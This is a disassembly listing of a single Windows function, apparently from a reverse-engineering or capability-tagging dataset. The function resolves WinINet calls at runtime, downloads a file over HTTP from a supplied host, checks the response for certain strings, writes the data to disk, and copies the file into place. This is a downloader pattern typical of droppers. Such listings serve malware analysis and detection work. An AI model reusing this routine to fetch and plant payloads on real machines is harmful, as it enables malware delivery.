Function at 0x10009bd1
Capabilities:
Connect to http server
Copy file
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x293c
call fcn.10011ed0
mov eax, dword [ebp + 0xc]
push eax
push 0x1004ec98
lea ecx, [ebp - 0x114]
push ecx
call fcn.1001242b
add esp, 0xc
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x2928], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x2934], 0
mov dword [ebp - 0x292c], 0
mov dword [ebp - 0xc], 1
mov byte [ebp - 4], 1
push 0x1004ec9c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push 0x1004eca8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x118], eax
push 0
push 0
push 0
push 0
push 0x1004ecb8
call dword [ebp - 0x118]
mov dword [ebp - 0x2928], eax
cmp dword [ebp - 0x2928], 0
jne 0x10009c99
cmp dword [ebp - 8], 0
je 0x10009c92
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10009ed5
push 0
push 0
push 3
push 0
push 0
push 0x50
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x2928]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x2928], 0
jne 0x10009cc9
xor al, al
jmp 0x10009ed5
push 0x1004ecc4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x124], eax
push 0
push closesocket
push 0
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x2928]
push eax
call dword [ebp - 0x124]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jne 0x10009d20
cmp dword [ebp - 8], 0
je 0x10009d19
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x10009ed5
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2930], eax
cmp dword [ebp - 0x2930], 0xffffffff
je 0x10009e79
mov dword [ebp - 0x2938], 0
push 0x2800
push 0
lea eax, [ebp - 0x2924]
push eax
call fcn.10011e70
add esp, 0xc
push 0x1004ecd8
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x293c], eax
lea edx, [ebp - 0x2934]
push edx
push 0x2800
lea eax, [ebp - 0x2924]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [ebp - 0x293c]
push 0x1004ecec
lea edx, [ebp - 0x2924]
push edx
call fcn.10012ae0
add esp, 8
test eax, eax
jne 0x10009e04
push 0x1004ecf0
lea eax, [ebp - 0x2924]
push eax
call fcn.10012ae0
add esp, 8
test eax, eax
jne 0x10009e04
push 0x1004ecf8
lea ecx, [ebp - 0x2924]
push ecx
call fcn.10012ae0
add esp, 8
test eax, eax
jne 0x10009e04
push 0x1004ed00
lea edx, [ebp - 0x2924]
push edx
call fcn.10012ae0
add esp, 8
test eax, eax
je 0x10009e25
mov eax, dword [ebp - 0x2930]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x10009ed5
mov edx, dword [ebp - 0x2938]
add edx, 1
mov dword [ebp - 0x2938], edx
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0x292c]
push eax
mov ecx, dword [ebp - 0x2934]
push ecx
lea edx, [ebp - 0x2924]
push edx
mov eax, dword [ebp - 0x2930]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x2934], 0
ja 0x10009d59
mov ecx, dword [ebp - 0x2930]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1004ed08
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x11c]
push eax
call dword [ebp - 0x120]
mov ecx, dword [ebp - 0x2928]
push ecx
call dword [ebp - 0x120]
cmp dword [ebp - 8], 0
je 0x10009ec0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov al, 1
mov esp, ebp
pop ebp
ret